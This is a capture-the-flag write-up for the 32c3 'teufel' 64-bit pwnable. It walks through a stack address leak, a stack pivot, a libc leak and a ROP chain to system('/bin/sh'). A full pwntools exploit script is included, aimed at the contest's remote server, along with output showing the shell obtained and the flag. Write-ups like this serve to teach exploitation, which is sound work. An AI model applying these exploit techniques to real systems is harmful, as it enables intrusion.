32c3 Teufel
06 Jan 2016This is a write-up of the teufel challenge from the 32c3 CTF
The Challenge
This was a 64-bit x86 binary pwnable. The way it worked was that it allocated a new stack with a read-only guard page above it, and then it entered a loop which called a function which was more or less equivalent to
void read_read_puts(){
long int n;
if(read(0, &n, 8) <= 0) exit(0);
if(read(0, &n, n) <= 0) exit(0);
puts(&n);
}
The Exploit
First of all, because the way the stack has been setup we can only put 24 bytes on the stack, namely n
, rbp
, and rip
,
therefore we can only jump to one gadget, and we only control rbp
.
However we are able to leak the address of the stack by only sending 9 bytes, and then let puts
print it to us:
from pwn import *
r = process("./teufel")
r.send(p64(9))
r.send("A"*9)
assert r.recvn(8) == "A"*8
stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
log.info("Stack is at 0x%x", stack)
$ python doit_teufel.py
[+] Starting program './teufel': Done
[*] Stack is at 0x7fe6913aa000
[*] Stopped program './teufel'
Now that we know where the stack is, we found the gadget
loop:
4004d4: mov rsp,rbp
4004d7: call 4004e6 <read_read_puts>
4004dc: jmp 4004d7 <loop>
Using this gadget we were able to pivot the stack, to get more space:
mov_rsp_call = 0x4004d4
rop1 = flat([
"A"*8,
stack-0x100,
mov_rsp_call
], word_size=64)
r.send(p64(len(rop1))+ rop1)
r.recvline()
Now attaching gdb at this point we can see whats on the stack:
gdb$ x/10xg $sp
0x7fec13046ee8: 0x0000000026250a61 0x00007fec13046f00
0x7fec13046ef8: 0x00000000004004dc 0x00000000568cdfd4
0x7fec13046f08: 0x000000002625d0da 0x0000000000000000
0x7fec13046f18: 0x0000000000000000 0x0000000000000000
0x7fec13046f28: 0x00007fec12e28740 0x00000000ffffffff
^ this is in libc
And we can leak this:
r.send(p64(4*16))
r.send("A"*4*16)
assert r.recvn(4*16) == "A"*4*16
libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)
$ python doit_teufel.py
[+] Starting program './teufel': Done
[*] Stack is at 0x7fbb8f3b1000
[*] Libc is at 0x7fbb8edcd000
[*] Program './teufel' stopped with exit code -11
and then teufel
crashes...
But becuase of the way the stack was allocated it is placed relative to libc,
so we can just restart the program, leak the address of the stack again, and then ROP in libc.
So this was the final exploit:
from pwn import *
def new_process():
#r = process("./teufel", env={"LD_LIBRARY_PATH": os.getcwd()})
r = remote("136.243.194.41", 666)
r.send(p64(9))
r.send("A"*9)
assert r.recvn(8) == "A"*8
stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
log.info("Stack is at 0x%x", stack)
mov_rsp_call = 0x4004d4
pivot_rop = flat([
"A"*8,
stack-0x100,
mov_rsp_call
], word_size=64)
r.send(p64(len(pivot_rop)) + pivot_rop)
r.recvline()
return r, stack
r, stack = new_process()
r.send(p64(4*16))
r.send("A"*4*16)
assert r.recvn(4*16) == "A"*4*16
libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)
diff = libc - stack
r, stack = new_process()
libc = stack + diff
log.info("Libc is at 0x%x" % libc)
pop_rdi = libc + 0x218a2
system = libc + 0x443d0
rop = flat([
"/bin/sh\x00",
0x0,
pop_rdi,
stack-0x100-0x18,
system
], word_size=64)
r.send(p64(len(rop)) + rop)
r.clean()
r.interactive()
So we have a shell:
$ python doit_teufel.py
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f76345fc000
[*] Libc is at 0x7f7634012000
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f7409b69000
[*] Libc is at 0x7f740957f000
[*] Switching to interactive mode
$ cat flag.txt
32C3_mov_pop_ret_repeat